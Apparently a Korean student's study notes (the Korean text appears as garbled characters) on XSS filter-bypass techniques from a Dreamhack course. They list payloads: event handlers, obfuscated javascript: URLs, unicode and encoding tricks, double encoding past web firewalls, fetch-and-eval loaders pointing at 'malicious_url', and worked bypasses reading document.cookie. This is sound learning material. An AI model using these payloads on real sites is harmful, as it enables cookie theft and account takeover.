๐ก [Dreamhack] Web Hacking Advanced - Client Side - XSS Filterfing Bypass I, II๋ฅผ ๊ณต๋ถํ๋ฉฐ ์ ๋ฆฌํ์์ต๋๋ค.
#1. ์ด๋ฒคํธ ํธ๋ค๋ฌ ์์ฑ
ํ๊ทธ์ ์์ฑ ๊ฐ์ผ๋ก ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ์กด์ฌํ๋ค. ๋ํ์ ์ผ๋ก ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ง์ ํ๋ on์ผ๋ก ์์ํ๋ ์์ฑ๋ค์ด ์กด์ฌํ๋ค. ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ํน์ ์์์์ ๋ฐ์ํ๋ ์ด๋ฒคํธ๋ฅผ ์ฒ๋ฆฌํ๊ธฐ ์ํด ์กด์ฌํ๋ ์ฝ๋ฐฑ ํํ์ ํธ๋ค๋ฌ ํจ์์ด๋ค.
์์ฃผ ์ฌ์ฉ๋๋ ์ด๋ฒคํธ ํธ๋ค๋ฌ ์์ฑ: onload, onerror, onfocus
onerror ์ด๋ฒคํธ ํธ๋ค๋ฌ
1
2
3
4
5
<!-- ์ด๋ฏธ์ง ๋ก๋ ์ฑ๊ณต > onerror ํธ๋ค๋ฌ ์คํX -->
<img src="valid" onerror="alert(1)">
<!-- ์ด๋ฏธ์ง ๋ก๋ ์คํจ > onerror ํธ๋ค๋ฌ ์คํ -->
<img src="invalid" onerror="alert(1)">
onfocus ์ด๋ฒคํธ ํธ๋ค๋ฌ
1
2
3
4
5
<!-- autofocus ์์ฑ์ ์ฃผ์ด ์๋์ผ๋ก ํฌ์ปค์ค๋ฅผ ์ํด -->
<input id="inputBox" onfocus="alert(1)" autofocus>
<!-- id ๊ฐ์ ์ฃผ์ด URL์ hash(/#inputBox) ๋ถ๋ถ์ id ๊ฐ์ ์
๋ ฅํ์ฌ ํฌ์ปค์ค ๋๋๋ก ์ค์ . -->
<input id="inputBox" onfocus="alert(1)">
#2. ๋ฌธ์์ด ์นํ
XSS ํค์๋๋ฅผ ํํฐ๋งํ ๋ ๋ฌธ์์ด์ ๋จ์ํ ์นํํ๊ฑฐ๋ ์ ๊ฑฐํ๋ ๋ฐฉ์๋ ์ฌ์ฉ๋๊ณค ํ๋ค. ๋จ์ํ ์์ฌ๋๋ ๊ตฌ๋ฌธ์ ์ ๊ฑฐํ ๊ฒฝ์ฐ ํํฐ๋ง๋๋ ํค์๋ ์ฌ์ด์ ์๋ก์ด ํํฐ๋ง ํค์๋๋ฅผ ์ฝ์ ํ๋ ๋ฐฉ์์ผ๋ก ์ฐํ ๊ฐ๋ฅํ๋ค.
๋ฌธ์์ด ์นํ ์ฐํ
1
2
3
4
/* ํํฐ๋ง ํจ์ */
function XSSFilter(data){
return data.replace(/script/gi, '');
}
1
2
<!-- ํค์๋๋ฅผ ์ค์ฒฉ ์ฝ์
ํ์ฌ ์ฐํ -->
<sscriptcript>alert(1)</sscriptcript>
#3. ํ์ฑ ํ์ดํผ๋งํฌ
HTML ๋งํฌ์
์์ ์ฌ์ฉ๋ ์ ์๋ URL์ ํ์ฑ ์ฝํ
์ธ ๋ฅผ ํฌํจํ ์ ์๋ค. javascript: ์คํค๋ง๋ URL ๋ก๋ ์ ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์คํํ ์ ์๋๋ก ํ๋ค.
URL ์คํค๋ง
๋ค์๊ณผ ๊ฐ์ด a ํ๊ทธ๋ iframe ํ๊ทธ์์ URL ์์ฑ์ ์คํค๋ง๋ฅผ ์ฌ์ฉํ ์ ์๋ค.
1
2
<a href="javascript:alert(1)"></a>
<iframe src="javascript:alert(1)">
์ ๊ทํ ์ฐํ
์ด๋ฅผ ๋ฐฉ์งํ๊ณ ์ XSS ํค์๋๋ฅผ ํํฐ๋งํ ๋ javascript: ์คํค๋ง๋ฅผ ํํฐ๋งํ๋ ๊ฒฝ์ฐ๊ฐ ์กด์ฌํ๋๋ฐ, ์ด๋ ์ ๊ทํ๋ฅผ ์ด์ฉํ์ฌ ์ฐํํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ์กด์ฌํ๋ค. ์ ๊ทํ ๊ณผ์ ์์ \x01, \x04, \t์ ๊ฐ์ ํน์ ๋ฌธ์๋ค์ด ์ ๊ฑฐ๋๊ณ , ์คํค๋ง์ ๋์๋ฌธ์๊ฐ ํต์ผ๋๋ค.
1
2
<a href="\1\4jAVasC\triPT:alert(1)"></a>
<iframe src="\1\4jAVasC\triPT:alert(1)">
HTML Entity Encoding
HTML ํ๊ทธ ์์ฑ ๋ด์์๋ HTML Entity Encoding์ ์ฌ์ฉํ ์ ์๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ javascript: ์คํค๋ง๋ XSS ํค์๋๋ฅผ ์ธ์ฝ๋ฉํ์ฌ ํํฐ๋ง์ ์ฐํํ ์๋ ์๋ค.
1
2
<a href="\1JavasCr\tip&tab;:alert(1)"></a>
<iframe src="\1JavasCr\tip&tab;:alert(1)">
+) URL ์ ๊ทํ ํ
์คํธ ์๋ฐ์คํฌ๋ฆฝํธ์์๋ URL ๊ฐ์ฒด๋ฅผ ํตํด URL์ ์ง์ ์ ๊ทํํ ์ ์์ผ๋ฉฐ, protocol, hostname ๋ฑ URL์ ๊ฐ์ข
์ ๋ณด๋ฅผ ์ถ์ถํ ์ ์๋ค.
1
2
3
4
5
function normalizeURL(url) {
return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
#4. ํ๊ทธ์ ์์ฑ ๊ธฐ๋ฐ ํํฐ๋ง
๋์๋ฌธ์ ์ธ์ ํํฐ
๋์๋ฌธ์๋ฅผ ๋ชจ๋ ๊ฒ์ฌํ์ง ์์ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด ์ฐํ ๊ฐ๋ฅํ๋ค.
1
<sCript>alert(1)</scRIPT>
ํน์ ํ๊ทธ ๋ฐ ์์ฑ ํํฐ
script, img, input๊ณผ ๊ฐ์ ํ๊ทธ๋ฅผ ํํฐ๋ง ํ ๋, ๋ค๋ฅธ ํ๊ทธ๋ฅผ ์ฌ์ฉํด ๊ณต๊ฒฉ์ ์๋ํ ์ ์๋ค.
1
2
<video><source onerror="alert(1)"/></video>
<body onload="alert(1)"/>
on ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ํํฐ๋งํ๊ณ , ๋ฉํฐ ๋ผ์ธ์ ์ง์ํ๋ ๋ฌธ์๋ฅผ ๊ฒ์ฌํ ๋, ์๋ก์ด inner frame์ ์์ฑํ๋ iframe ํ๊ทธ๋ฅผ ์ด์ฉํด ์ฐํํ ์ ์๋ค.
1
2
3
4
5
<!-- src ์์ฑ์์ ํ์ฑ ํ์ดํผ๋งํฌ ์ด์ฉ -->
<iframe src="javascript:alert(1)">
<!-- srcdoc ์์ฑ์ ์ด์ฉ -->
<iframe srcdoc="<img src=1 onerror=alert(parent.document.domain)>">
์์์ srcdoc ์์ฑ์ ์ด์ฉํ์ฌ inner frame ๋ด์ ์๋ก์ด XSS ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์
๋ ฅํ ์ ์๋๋ฐ ์ด๋, HTML ์์ฑ ๋ด์ ๋ค์ด๊ฐ๊ธฐ์ HTML Entity Encoding์ผ๋ก ๊ธฐ์กด ํํฐ๋ง์ ์ฐํํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. parent.alert๋ฅผ ํธ์ถํ๋ ์ด์ ๋ ์คํฌ๋ฆฝํธ๊ฐ ํธ์ถ๋๋ ์์ญ์ ์์ ๋ฌธ์์ ์กด์ฌํ๋ alert๋ฅผ ํธ์ถ ํด์ผํ๊ธฐ ๋๋ฌธ์ด๋ค.
#5. ์๋ฐ์คํฌ๋ฆฝํธ ํจ์ ๋ฐ ํค์๋ ํํฐ๋ง
Unicode escape sequence
์๋ฐ์คํฌ๋ฆฝํธ๋ Unicode escape sequence๋ฅผ ์ง์ํ๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ ํํฐ๋ง ๋ ๋ฌธ์์ด์ ์ฐํํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. (Unicode escape sequence๋ \uAC00 == ๊ฐ์ ๊ฐ์ด ๋ฌธ์์ด์์ ์ ๋์ฝ๋ ๋ฌธ์๋ฅผ ์ฝ๋ํฌ์ธํธ๋ก ๋ํ๋ผ ์ ์๋ ํ๊ธฐ๋ฒ)
1
2
3
"\u0063ookie" // cookie
"cooki\x65" // cookie
\u0061lert(1) // alert(1)
Computed member access
์๋ฐ์คํฌ๋ฆฝํธ๋ Computed member access๋ฅผ ์ง์ํ๋ค. Computed member access๋ ๊ฐ์ฒด์ ํน์ ์์ฑ์ ์ ๊ทผํ ๋ ์์ฑ ์ด๋ฆ์ ๋์ ์ผ๋ก ๊ณ์ฐํ๋ ๊ธฐ๋ฅ์ด๋ค.
1
document["coo"+"kie"] == document["cookie"] == document.cookie
๐ป XSS ๊ณต๊ฒฉ์ ํํ ์ฌ์ฉ๋๋ ๊ตฌ๋ฌธ๊ณผ ํํฐ๋ง ์ฐํ๋ฅผ ์ํด ์ฌ์ฉ๋ ์ ์๋ ๋์ฒด ์์
| ๊ตฌ๋ฌธ | ๋์ฒด ๊ตฌ๋ฌธ |
|---|---|
alert, XMLHttpRequest ๋ฑ ๋ฌธ์ ์ต์์ ๊ฐ์ฒด ๋ฐ ํจ์ | window['al'+'ert'], window['XMLHtt'+'pRequest'] ๋ฑ ์ด๋ฆ ๋์ด์ ์ฐ๊ธฐ |
window | self, this |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] ๋ฑ ํจ์์ constructor ์์ฑ ์ ๊ทผ |
๋ฌธ์์ด ์ ์ธ
ํํฐ๋ง ํน์ ์ธ์ฝ๋ฉ/๋์ฝ๋ฉ์ ์ด์ ๋ก ํน์ ๋ฌธ์((), [], ", ' โฆ)๋ฅผ ์ฌ์ฉํ์ง ๋ชปํ๋ ๊ฒฝ์ฐ์ ํด๋น ๋ฌธ์๋ฅผ ๋์ฒดํ ์ ์๋ ๋ฐฉ๋ฒ๋ค์ ํตํด ์ฐํํ์ฌ ๊ณต๊ฒฉํ ์ ์๋ค.
๋ฐ์ดํ(", ')๊ฐ ํํฐ๋ง๋์ด ์๋ค๋ฉด ํ
ํ๋ฆฟ ๋ฆฌํฐ๋ด(Template Literals)์ ์ฌ์ฉํ ์ ์๋ค. ๋ฐฑํฑ(`)์ ์ด์ฉํ์ฌ ์ ์ธํ ์ ์๊ณ , ${} ํํ์์ ์ด์ฉํด ๋ค๋ฅธ ๋ณ์๋ ์์ ์ฌ์ฉํ ์ ์๋ค. (ํ
ํ๋ฆฟ ๋ฆฌํฐ๋ด์ ๋ด์ฅ๋ ํํ์์ ํ์ฉํ๋ ๋ฌธ์์ด ๋ฆฌํฐ๋ด๋ก, ์ฌ๋ฌ ์ค๋ก ์ด๋ค์ง ๋ฌธ์์ด๊ณผ ๋ฌธ์๋ฅผ ๋ณด๊ดํ๊ธฐ ์ํ ๊ธฐ๋ฅ์ผ๋ก ์ด์ฉํ ์ ์๋ค.)
RegExp ๊ฐ์ฒด ์ฌ์ฉํ๊ธฐ
RegExp ๊ฐ์ฒด๋ฅผ ์์ฑํ๊ณ ๊ฐ์ฒด์ ํจํด ๋ถ๋ถ์ ๊ฐ์ ธ์ด์ผ๋ก์จ ๋ฌธ์์ด์ ๋ง๋ค ์ ์๋ค.
1 2
var foo = /Hello World!/.source; // "Hello World!" var bar = /test !/ + []; // "/test !/"
String.fromCharCode ํจ์ ์ฌ์ฉ
String.fromCharCodeํจ์๋ ์ ๋์ฝ๋์ ๋ฒ์ ์ค ํ๋ผ๋ฏธํฐ๋ก ์ ๋ฌ๋ ์์ ํด๋นํ๋ ๋ฌธ์๋ฅผ ๋ฐํํ๋ค.1
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
๊ธฐ๋ณธ ๋ด์ฅ ํจ์๋ ๊ฐ์ฒด์ ๋ฌธ์๋ฅผ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ
๋ด์ฅ ํจ์๋ ๊ฐ์ฒด๋ฅผ
toStringํจ์๋ฅผ ํตํด ๋ฌธ์์ด๋ก ๋ณ๊ฒฝํ๋ฉด ํํ๊ฐ ๋ฌธ์์ด๋ก ๋ณํ๋๋ค. ์ํ๋ ๋ฌธ์์ด์ ๋ง๋๋๋ฐ ํ์ํ ๋ฌธ์๋ค์ ํ ๊ธ์์ฉ ๊ฐ์ ธ์ ๋ฌธ์์ด์ ๋ง๋ค ์ ์๋ค.1 2 3 4
var baz = history.toString()[8] + // "H" (history+[])[9] + // "i" (URL+0)[12] + // "(" (URL+0)[13]; // ")" ==> "Hi()"
history.toString():"[object History]"๋ฌธ์์ด ๋ฐํURL.toString():"function URL () { [native code] }"๋ฌธ์์ด ๋ฐํ
์ซ์ ๊ฐ์ฒด์ ์ง๋ฒ ๋ณํ
10์ง์ ์ซ์๋ฅผ 36์ง์๋ก ๋ณ๊ฒฝํ์ฌ ASCII ์์ด ์๋ฌธ์ ๋ฒ์๋ฅผ ๋ชจ๋ ์์ฑํ ์ ์๋ค. ์ด๋,
E4X ์ฐ์ฐ์ ("..")๊ฐ ์กด์ฌํ๋๋ฐ, ์ฃผ๋ก ์ ๋๊ฐ๋ฅผ ์ฐ๊ฑฐ๋ ์์์ ์ผ๋ก ์ธ์๋์ง ์๋๋ก ๊ณต๋ฐฑ๊ณผ ์ ์ ์กฐํฉํด ์ฌ์ฉํ ์ ์๋ค.1 2
var foo = 29234652..toString(36); // "hello" var bar = 29234652 .toString(36); // "hello"
ํจ์ ํธ์ถ
์ผ๋ฐ์ ์ธ ์๋ฐ์คํฌ๋ฆฝํธ์ ํจ์ ํธ์ถ ๋ฐฉ๋ฒ
1
2
alert(1); // Parentheses
alert`1`; // Tagged Templates
์๊ดํธ์ ๋ฐฑํฑ ๋ฌธ์๊ฐ ๋ชจ๋ ํํฐ๋ง ๋์ด์๋ ๊ฒฝ์ฐ, ๋ค์๊ณผ ๊ฐ์ ๋ฐฉ๋ฒ๋ค๋ก ์ฐํํ ์ ์๋ค.
javascript ์คํค๋ง๋ฅผ ์ด์ฉํ location ๋ณ๊ฒฝ
javascript:์คํค๋ง๋ฅผ ์ด์ฉํดlocation๊ฐ์ฒด๋ฅผ ๋ณ์กฐํ๋ ๋ฐฉ์์ผ๋ก ์๋ฐ์คํฌ๋ฆฝํธ ์ฝ๋ ์คํ.1 2 3
location = "javascript:alert\x281\x29;"; location.href = "javascript:alert\u00281\u0029;"; location['href'] = "javascript:alert\0501\051;";
Symbol.hasInstance ์ค๋ฒ๋ผ์ด๋ฉ
ECMAScript 6์ ์ถ๊ฐ๋ Symbol์ ์์ฑ ๋ช ์นญ์ผ๋ก ์ฌ์ฉํ ์ ์๋ค.
0 instanceof C๋ฅผ ์ฐ์ฐํ ๋,C์Symbol.hasInstance์์ฑ์ ํจ์๊ฐ ์์ ๊ฒฝ์ฐ ๋ฉ์๋๋ก ํธ์ถํ์ฌinstanceof์ฐ์ฐ์์ ๊ฒฐ๊ณผ ๊ฐ์ผ๋ก ์ฌ์ฉํ๊ฒ ๋๋ค.instanceof๋ฅผ ์ฐ์ฐํ๊ฒ ๋๋ฉด ์ค์ ์ธ์คํด์ค ์ฒดํฌ ๋์ ์ํ๋ ํจ์๋ฅผ ๋ฉ์๋๋ก ํธ์ถ๋๋๋ก ํ ์ ์๋ค.1 2
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval}; Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
document.body.innerHTML ์ถ๊ฐ
document.body.innerHTML์ ์ฝ๋๋ฅผ ์ถ๊ฐํ ๊ฒฝ์ฐ ์๋ก์ด HTML ์ฝ๋๊ฐ ๋ฌธ์์ ์ถ๊ฐ๋๊ณ , ์ฝ๋๋ฅผ ์คํํ ์ ์๋ค. ์ด๋,innerHTML๋ก HTML ์ฝ๋๋ฅผ ์คํํ ๋์๋ ๋ณด์ ์<script>ํ๊ทธ๋ฅผ ์ฝ์ ํด๋ ์คํ๋์ง ์๋๋ค. ๋ฐ๋ผ์ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ด์ฉํด ์ฝ๋๋ฅผ ์คํํด์ผ ํ๋ค.1 2
document.body.innerHTML += "<img src=x: onerror=alert(1)>"; documnet.body.innerHTML += "<body src=x: onload=alert(1)>";
#6. ๋๋ธ ์ธ์ฝ๋ฉ(Double Encoding)
์ ๋ ฅ ๊ฒ์ฆ์ ๋์ฝ๋ฉ ๋ฑ์ ๋ชจ๋ ์ ์ฒ๋ฆฌ ์์ ์ ๋ง์น๊ณ ์ํํด์ผ ํ๋ค. ๊ฒ์ฆ์ด ๋๋ ๋ฐ์ดํฐ๋ฅผ ๋์ฝ๋ฉํ์ฌ ์ฌ์ฉํด์๋ ์๋๋ค. ์น ๋ฐฉํ๋ฒฝ์ ๊ฑฐ์ณ ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ์ ๋ฌ๋๋ ์น ์๋ฒ์์, ์น ๋ฐฉํ๋ฒฝ์ผ๋ก๋ถํฐ ํต๊ณผํ ๋ฐ์ดํฐ๋ฅผ ๋ค์ ๋์ฝ๋ฉํด์ ์ฌ์ฉํ๋ฉด ๋๋ธ ์ธ์ฝ๋ฉ์ผ๋ก ์น ๋ฐฉํ๋ฒฝ์ ๊ฒ์ฆ์ ์ฝ๊ฒ ์ฐํํ ์ ์๋ค.
1
2
3
4
5
// Failed Request
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
// Successful Request
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
#7. ๊ธธ์ด ์ ํ
์ฝ์ ํ ์ ์๋ ์ฝ๋์ ๊ธธ์ด๊ฐ ์ ํ๋์ด ์๋ ๊ฒฝ์ฐ, ๋ค๋ฅธ ๊ฒฝ๋ก๋ก ์คํํ ์ถ๊ฐ์ ์ธ ์ฝ๋(payload)๋ฅผ URL fragment ๋ฑ์ผ๋ก ์ฝ์ ํ๊ณ ๋ณธ ์ฝ๋๋ฅผ ์คํํ๋ ์งง์ ์ฝ๋(launcher)๋ฅผ ์ฌ์ฉํ ์ ์๋ค.
location.hash
Fragment๋ก ์คํฌ๋ฆฝํธ๋ฅผ ๋๊ฒจ์ฃผ๊ณ XSS ์ง์ ์์ location.hash๋ก fragment ๋ถ๋ถ์ ์ถ์ถํ์ฌ eval() ๋ก ์คํํ๋ ๊ธฐ๋ฒ์ด ํํ ์ฌ์ฉ๋๋ค.
1
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(1);
์ธ๋ถ ์์์ ์ด์ฉํ ๊ณต๊ฒฉ๋ฐฉ์
1
import('malicious_url');
1
2
3
var e = document.createElement('script')
e.src = 'malicious_url';
document.appendChild(e);
1
fetch('malicious_url').then(x=>eval(x.text()))
#Practice
โalertโ, โwindowโ, โdocumentโ ํํฐ๋ง
alert(document.cookie)์คํFiltering function
1 2 3 4 5 6
function XSSFilter(data){ if(/alert|window|document/.test(data)){ return false; } return true; }
Bypass
1 2 3 4 5
// 1) ์ ๋์ฝ๋ ์ด์ฉ \u0061lert(\u0064ocument.cookie); // 2) this ํค์๋๋ก window ๊ฐ์ฒด ์ ๊ทผ this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
์ฃผ์ ํค์๋์ ํน์๋ฌธ์ ํํฐ๋ง
alert(document.cookie)์คํFiltering function
1 2 3 4 5 6
function XSSFilter(data){ if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){ return false; } return true; }
Bypass
1 2 3 4 5 6
// 1) decodeURI ํจ์ ์ด์ฉ Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')]( decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))(); // 2) atob ํจ์ & constructor ์์ฑ ์ด์ฉ Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
- 1) URL Encoding์ ํ๋จ์ ์ฌ์ดํธ ์ฐธ๊ณ https://www.w3schools.com/tags/ref_urlencode.ASP https://onlineasciitools.com/url-encode-ascii
- 2) Base64 ๊ฐ์
btoa('string')ํจ์ ์ด์ฉ
(, ), โ, โ, ` ํํฐ๋ง
alert(document.cookie)์คํFiltering function
1 2 3 4 5 6
function XSSFilter(data){ if(/[()"'`]/.test(data)){ return false; } return true; }
Bypass
1 2 3 4 5
// 1) RegExp & URL.toString & Symbol.hasInstance /alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval}; // 2) javascript ์คํค๋ง๋ก location ๋ณ๊ฒฝ & RegExp & URL.toString location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];